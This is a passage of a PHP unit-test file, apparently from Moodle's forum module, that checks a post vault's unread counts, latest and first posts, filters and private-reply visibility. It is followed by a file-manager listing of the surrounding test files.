        $this->assertEquals(2, $counts[$discussion2->id]);

        $counts = $this->vault->get_unread_count_for_discussion_ids($user, [
            $discussion1->id,
            $discussion2->id,
            $discussion2->id + 1000
        ], false);
        $this->assertCount(2, $counts);
        $this->assertEquals(2, $counts[$discussion1->id]);
        $this->assertEquals(2, $counts[$discussion2->id]);

        $counts = $this->vault->get_unread_count_for_discussion_ids($otheruser, [$discussion1->id, $discussion2->id], false);
        $this->assertCount(2, $counts);
        $this->assertEquals(4, $counts[$discussion1->id]);
        $this->assertEquals(2, $counts[$discussion2->id]);
    }

    /**
     * Test get_unread_count_for_discussion_ids when no discussion ids were provided.
     *
     * @covers ::get_unread_count_for_discussion_ids
     */
    public function test_get_unread_count_for_discussion_ids_empty(): void {
        $this->resetAfterTest();

        $datagenerator = $this->getDataGenerator();
        $user = $datagenerator->create_user();
        $course = $datagenerator->create_course();
        $forum = $datagenerator->create_module('forum', ['course' => $course->id]);

        $this->assertEquals([], $this->vault->get_unread_count_for_discussion_ids($user, [], false));
    }

    /**
     * Test get_latest_posts_for_discussion_ids.
     *
     * @covers ::get_latest_posts_for_discussion_ids
     */
    public function test_get_latest_posts_for_discussion_ids(): void {
        $this->resetAfterTest();

        $datagenerator = $this->getDataGenerator();
        $course = $datagenerator->create_course();
        [$teacher, $otherteacher] = $this->helper_create_users($course, 2, 'teacher');
        [$user, $user2] = $this->helper_create_users($course, 2, 'student');
        $forum = $datagenerator->create_module('forum', ['course' => $course->id]);
        [$discussion1, $post1] = $this->helper_post_to_forum($forum, $user);
        $post2 = $this->helper_reply_to_post($post1, $user);
        $post3 = $this->helper_reply_to_post($post1, $user);
        $post4 = $this->helper_reply_to_post($post2, $user);
        [$discussion2, $post5] = $this->helper_post_to_forum($forum, $user);
        $post6 = $this->helper_reply_to_post($post5, $user);
        [$discussion3, $post7] = $this->helper_post_to_forum($forum, $user);
        $post8 = $this->helper_post_to_discussion($forum, $discussion3, $teacher, [
            'privatereplyto' => $user->id,
        ]);

        $ids = $this->vault->get_latest_posts_for_discussion_ids($user, [$discussion1->id], false);
        $this->assertCount(1, $ids);
        $this->assertEquals($post4->id, $ids[$discussion1->id]->get_id());

        $ids = $this->vault->get_latest_posts_for_discussion_ids($user,
            [$discussion1->id, $discussion2->id], false);
        $this->assertCount(2, $ids);
        $this->assertEquals($post4->id, $ids[$discussion1->id]->get_id());
        $this->assertEquals($post6->id, $ids[$discussion2->id]->get_id());

        $ids = $this->vault->get_latest_posts_for_discussion_ids($user,
            [$discussion1->id, $discussion2->id, $discussion3->id], false);
        $this->assertCount(3, $ids);
        $this->assertEquals($post4->id, $ids[$discussion1->id]->get_id());
        $this->assertEquals($post6->id, $ids[$discussion2->id]->get_id());
        $this->assertEquals($post8->id, $ids[$discussion3->id]->get_id());

        // Checks the user who doesn't have access to the private reply.
        $ids = $this->vault->get_latest_posts_for_discussion_ids($user2,
            [$discussion1->id, $discussion2->id, $discussion3->id], false);
        $this->assertCount(3, $ids);
        $this->assertEquals($post4->id, $ids[$discussion1->id]->get_id());
        $this->assertEquals($post6->id, $ids[$discussion2->id]->get_id());
        $this->assertEquals($post7->id, $ids[$discussion3->id]->get_id());

        // Checks the user with the private reply to.
        $ids = $this->vault->get_latest_posts_for_discussion_ids($user, [
            $discussion1->id,
            $discussion2->id,
            $discussion3->id,
            $discussion3->id + 1000
        ], false);
        $this->assertCount(3, $ids);
        $this->assertEquals($post4->id, $ids[$discussion1->id]->get_id());
        $this->assertEquals($post6->id, $ids[$discussion2->id]->get_id());
        $this->assertEquals($post8->id, $ids[$discussion3->id]->get_id());
    }

    /**
     * Test get_latest_posts_for_discussion_ids when no discussion ids were provided.
     *
     * @covers ::get_latest_posts_for_discussion_ids
     */
    public function test_get_latest_posts_for_discussion_ids_empty(): void {
        $this->resetAfterTest();

        $datagenerator = $this->getDataGenerator();
        $user = $datagenerator->create_user();
        $course = $datagenerator->create_course();
        $forum = $datagenerator->create_module('forum', ['course' => $course->id]);

        $this->assertEquals([], $this->vault->get_latest_posts_for_discussion_ids($user, [], false));
    }

    /**
     * Test get_first_post_for_discussion_ids.
     *
     * @covers ::get_first_post_for_discussion_ids
     */
    public function test_get_first_post_for_discussion_ids(): void {
        $this->resetAfterTest();

        $datagenerator = $this->getDataGenerator();
        $user = $datagenerator->create_user();
        $course = $datagenerator->create_course();
        $forum = $datagenerator->create_module('forum', ['course' => $course->id]);
        [$discussion1, $post1] = $this->helper_post_to_forum($forum, $user);
        $post2 = $this->helper_reply_to_post($post1, $user);
        $post3 = $this->helper_reply_to_post($post1, $user);
        $post4 = $this->helper_reply_to_post($post2, $user);
        [$discussion2, $post5] = $this->helper_post_to_forum($forum, $user);
        $post6 = $this->helper_reply_to_post($post5, $user);
        [$discussion3, $post7] = $this->helper_post_to_forum($forum, $user);

        $firstposts = $this->vault->get_first_post_for_discussion_ids([$discussion1->id]);
        $this->assertCount(1, $firstposts);
        $this->assertEquals($post1->id, reset($firstposts)->get_id());

        $firstposts = $this->vault->get_first_post_for_discussion_ids([$discussion1->id, $discussion2->id]);
        $this->assertCount(2, $firstposts);
        $this->assertEquals($post1->id, $firstposts[$post1->id]->get_id());
        $this->assertEquals($post5->id, $firstposts[$post5->id]->get_id());

        $firstposts = $this->vault->get_first_post_for_discussion_ids([$discussion1->id, $discussion2->id, $discussion3->id]);
        $this->assertCount(3, $firstposts);
        $this->assertEquals($post1->id, $firstposts[$post1->id]->get_id());
        $this->assertEquals($post5->id, $firstposts[$post5->id]->get_id());
        $this->assertEquals($post7->id, $firstposts[$post7->id]->get_id());

        $firstposts = $this->vault->get_first_post_for_discussion_ids([
            $discussion1->id,
            $discussion2->id,
            $discussion3->id,
            $discussion3->id + 1000
        ]);
        $this->assertCount(3, $firstposts);
        $this->assertEquals($post1->id, $firstposts[$post1->id]->get_id());
        $this->assertEquals($post5->id, $firstposts[$post5->id]->get_id());
        $this->assertEquals($post7->id, $firstposts[$post7->id]->get_id());
    }

    /**
     * Test get_first_post_for_discussion_ids when no discussion ids were provided.
     *
     * @covers ::get_first_post_for_discussion_ids
     */
    public function test_get_first_post_for_discussion_ids_empty(): void {
        $this->resetAfterTest();

        $datagenerator = $this->getDataGenerator();
        $user = $datagenerator->create_user();
        $course = $datagenerator->create_course();
        $forum = $datagenerator->create_module('forum', ['course' => $course->id]);

        $this->assertEquals([], $this->vault->get_first_post_for_discussion_ids([]));
    }

    /**
     * Test get_from_filters.
     *
     * @covers ::get_from_filters
     */
    public function test_get_from_filters(): void {
        $this->resetAfterTest();

        $datagenerator = $this->getDataGenerator();
        $course = $datagenerator->create_course();
        [$user, $user2] = $this->helper_create_users($course, 2, 'student');
        $forum = $datagenerator->create_module('forum', ['course' => $course->id]);

        [$discussion1, $post1] = $this->helper_post_to_forum($forum, $user);
        $post2 = $this->helper_reply_to_post($post1, $user);
        $post3 = $this->helper_reply_to_post($post1, $user);

        [$discussion2, $post4] = $this->helper_post_to_forum($forum, $user);
        $discussionids = [$discussion1->id, $discussion2->id];

        $userids = [$user->id];
        $entities = array_values($this->vault->get_from_filters($user,
            ['discussionids' => $discussionids, 'userids' => $userids],
            true,
            'id ASC'));

        $this->assertCount(4, $entities);
        $this->assertEquals($post1->id, $entities[0]->get_id());
        $this->assertEquals($post2->id, $entities[1]->get_id());
        $this->assertEquals($post3->id, $entities[2]->get_id());
        $this->assertEquals($post4->id, $entities[3]->get_id());

        $entities = $this->vault->get_from_filters($user, ['discussionids' => $discussion1->id, 'userids' => $userids],
                false);
        $this->assertCount(3, $entities);
        $this->assertArrayHasKey($post1->id, $entities);
        $this->assertArrayHasKey($post2->id, $entities);
        $this->assertArrayHasKey($post3->id, $entities);

        $discussionids = [$discussion1->id, $discussion2->id];
        $userids = [$user->id, $user2->id];
        $entities = $this->vault->get_from_filters($user, ['discussionids' => $discussionids, 'userids' => $userids],
                false);
        $this->assertCount(4, $entities);
        $this->assertArrayHasKey($post1->id, $entities);
        $this->assertArrayHasKey($post2->id, $entities);
        $this->assertArrayHasKey($post3->id, $entities);
        $this->assertArrayHasKey($post4->id, $entities);

        // Test ordering by id descending.
        $entities = $this->vault->get_from_filters($user, ['discussionids' => $discussionids, 'userids' => $user->id],
                false, 'id DESC');
        $this->assertEquals($post4->id, array_values($entities)[0]->get_id());
        $this->assertEquals($post3->id, array_values($entities)[1]->get_id());
        $this->assertEquals($post2->id, array_values($entities)[2]->get_id());
        $this->assertEquals($post1->id, array_values($entities)[3]->get_id());

        // Test ordering by id ascending.
        $entities = $this->vault->get_from_filters($user, ['discussionids' => $discussionids, 'userids' => $user->id],
            false, 'id ASC');
        $this->assertEquals($post1->id, array_values($entities)[0]->get_id());
        $this->assertEquals($post2->id, array_values($entities)[1]->get_id());
        $this->assertEquals($post3->id, array_values($entities)[2]->get_id());
        $this->assertEquals($post4->id, array_values($entities)[3]->get_id());
    }

    public function test_get_from_filters_from_to_dates(): void {
        $this->resetAfterTest();

        $datagenerator = $this->getDataGenerator();
        $course = $datagenerator->create_course();
        [$user, $user2] = $this->helper_create_users($course, 2, 'student');
        $forum = $datagenerator->create_module('forum', ['course' => $course->id]);

        [$discussion1, $post1] = $this->helper_post_to_forum($forum, $user);

        $date = new \DateTime('2019-07-05');
        $post2 = $this->helper_reply_to_post($post1, $user, ['created' => $date->getTimestamp()]);
        $post3 = $this->helper_reply_to_post($post1, $user, ['created' => $date->getTimestamp()]);
        $date->modify('+1 month');
        $post4 = $this->helper_reply_to_post($post1, $user, ['created' => $date->getTimestamp()]);
        $post5 = $this->helper_reply_to_post($post1, $user, ['created' => $date->getTimestamp()]);
        $post6 = $this->helper_reply_to_post($post1, $user, ['created' => $date->getTimestamp()]);

        [$discussion2, $post4] = $this->helper_post_to_forum($forum, $user);

        $datefilter = new \DateTime('2019-07-01');
        $filters = ['from' => $datefilter->getTimestamp()];
        $entities = $this->vault->get_from_filters($user, $filters, false);
        $this->assertCount(7, $entities);

        $filters['to'] = $datefilter->modify('+1 month')->getTimestamp();
        $entities = $this->vault->get_from_filters($user, $filters, false);
        $this->assertCount(2, $entities);
    }

    /**
     * Test get_from_filters when no discussion ids were provided.
     *
     * @covers ::get_from_filters
     */
    public function test_get_from_filters_empty(): void {
        $this->resetAfterTest();

        $datagenerator = $this->getDataGenerator();
        $course = $datagenerator->create_course();
        [$student1] = $this->helper_create_users($course, 1, 'student');
        $forum = $datagenerator->create_module('forum', ['course' => $course->id]);
        $this->helper_post_to_forum($forum, $student1);
        $this->assertEquals([], $this->vault->get_from_filters($student1, [], false));
    }

    /**
     * Ensure that selecting posts in a discussion only returns posts that the user can see, when considering private
     * replies.
     *
     * @covers ::get_from_filters
     */
    public function test_get_from_filters_private_replies(): void {
        $this->resetAfterTest();

        $course = $this->getDataGenerator()->create_course();
        $forum = $this->getDataGenerator()->create_module('forum', [
            'course' => $course->id,
        ]);

        [$student, $otherstudent] = $this->helper_create_users($course, 2, 'student');
        [$teacher, $otherteacher] = $this->helper_create_users($course, 2, 'teacher');

        // Create the posts structure below.
        // Forum:
        // -> Post (student 1)
        // ---> Post private reply (teacher 1)
        // -> Otherpost (teacher 1)
        // ---> Otherpost private reply (teacher 2)
        // ---> Otherpost reply (student 1)
        // ----> Otherpost reply private reply (teacher 1).
        [$discussion, $post] = $this->helper_post_to_forum($forum, $student);
        $postprivatereply = $this->helper_reply_to_post($post, $teacher, [
            'privatereplyto' => $student->id
        ]);
        [$otherdiscussion, $otherpost] = $this->helper_post_to_forum($forum, $teacher);
        $otherpostprivatereply = $this->helper_reply_to_post($otherpost, $otherteacher, [
            'privatereplyto' => $teacher->id,
        ]);
        $otherpostreply = $this->helper_reply_to_post($otherpost, $student);
        $otherpostreplyprivatereply = $this->helper_reply_to_post($otherpostreply, $teacher, [
            'privatereplyto' => $student->id
        ]);

        $userids = [$otherstudent->id, $teacher->id, $otherteacher->id];
        $discussionids = [$discussion->id, $otherdiscussion->id];

        // Teacher 1. Request all posts from the vault, telling the vault that the teacher CAN see private replies made by anyone.
        $entities = $this->vault->get_from_filters($teacher, ['discussionids' => $discussionids, 'userids' => $userids],
            true);
        $this->assertCount(4, $entities);
        $this->assertArrayHasKey($postprivatereply->id, $entities);
        $this->assertArrayHasKey($otherpost->id, $entities);
        $this->assertArrayHasKey($otherpostprivatereply->id, $entities);
        $this->assertArrayHasKey($otherpostreplyprivatereply->id, $entities);

        // Student 1. Request all posts from the vault, telling the vault that the student CAN'T see private replies made by anyone.
        // Teacher2's private reply to otherpost is omitted.
        $entities = $this->vault->get_from_filters($student, ['discussionids' => $discussionids, 'userids' => $userids],
                false);
        $this->assertCount(3, $entities);
        $this->assertArrayHasKey($postprivatereply->id, $entities);
        $this->assertArrayHasKey($otherpost->id, $entities);
        $this->assertArrayHasKey($otherpostreplyprivatereply->id, $entities);

        // Student 1. Request all posts from the vault, telling the vault that student CAN see all private replies made.
        // The private reply made by teacher 2 to otherpost is now included.
        $entities = $this->vault->get_from_filters($student, ['discussionids' => $discussionids, 'userids' => $userids],
                true);
        $this->assertCount(4, $entities);
        $this->assertArrayHasKey($postprivatereply->id, $entities);
        $this->assertArrayHasKey($otherpost->id, $entities);
        $this->assertArrayHasKey($otherpostprivatereply->id, $entities);
        $this->assertArrayHasKey($otherpostreplyprivatereply->id, $entities);

        // Teacher 2. Request all posts from the vault, telling the vault that teacher2 CAN see all private replies made.
        $entities = $this->vault->get_from_filters($otherteacher,
                ['discussionids' => $discussionids, 'userids' => $userids], true);
        $this->assertCount(4, $entities);
        $this->assertArrayHasKey($otherpost->id, $entities);
        $this->assertArrayHasKey($otherpostprivatereply->id, $entities);
        $this->assertArrayHasKey($otherpostreplyprivatereply->id, $entities);

        // Teacher 2. Request all posts from the vault, telling the vault that teacher2 CANNOT see all private replies made.
        // The private replies not relating to teacher 2 directly are omitted.
        $entities = $this->vault->get_from_filters($otherteacher,
                ['discussionids' => $discussionids, 'userids' => $userids], false);
        $this->assertCount(2, $entities);
        $this->assertArrayHasKey($otherpost->id, $entities);
        $this->assertArrayHasKey($otherpostprivatereply->id, $entities);

        // Student 2. Request all posts from the vault, telling the vault that student2 CAN'T see all private replies made.
        // All private replies are omitted, as none relate to student2.
        $entities = $this->vault->get_from_filters($otherstudent,
                ['discussionids' => $discussionids, 'userids' => $userids], false);
        $this->assertCount(1, $entities);
        $this->assertArrayHasKey($otherpost->id, $entities);

    }
}

Filemanager

Name Type Size Permission Actions
backup Folder 0777
behat Folder 0777
event Folder 0777
generator Folder 0777
grade Folder 0777
h5p Folder 0777
privacy Folder 0777
search Folder 0777
backup_forum_activity_task_test.php File 5.12 KB 0777
builders_exported_posts_test.php File 21.87 KB 0777
cron_trait.php File 5.11 KB 0777
custom_completion_test.php File 10.04 KB 0777
dates_test.php File 3.01 KB 0777
entities_author_test.php File 2.24 KB 0777
entities_discussion_summary_test.php File 2.85 KB 0777
entities_discussion_test.php File 5.97 KB 0777
entities_forum_test.php File 6.43 KB 0777
entities_post_read_receipt_collection_test.php File 2.6 KB 0777
entities_post_test.php File 2.81 KB 0777
entities_sorter_test.php File 2.55 KB 0777
exporters_author_test.php File 5.54 KB 0777
exporters_discussion_test.php File 4.28 KB 0777
exporters_forum_test.php File 3.01 KB 0777
exporters_post_test.php File 22.28 KB 0777
externallib_test.php File 153.5 KB 0777
generator_test.php File 11.38 KB 0777
generator_trait.php File 6.1 KB 0777
lib_test.php File 185.86 KB 0777
local_container_test.php File 3.41 KB 0777
locallib_test.php File 2.36 KB 0777
mail_group_test.php File 8.64 KB 0777
mail_test.php File 63.22 KB 0777
maildigest_test.php File 30.88 KB 0777
managers_capability_test.php File 56.41 KB 0777
output_email_test.php File 6.88 KB 0777
portfolio_caller_test.php File 5.17 KB 0777
private_replies_test.php File 9.76 KB 0777
qanda_test.php File 5.27 KB 0777
rsslib_test.php File 3.42 KB 0777
subscriptions_test.php File 66.47 KB 0777
vaults_author_test.php File 2.66 KB 0777
vaults_discussion_list_test.php File 29.94 KB 0777
vaults_discussion_test.php File 4.79 KB 0777
vaults_forum_test.php File 5.73 KB 0777
vaults_post_attachment_test.php File 7.55 KB 0777
vaults_post_read_receipt_collection_test.php File 3.72 KB 0777
vaults_post_test.php File 53.89 KB 0777
Filemanager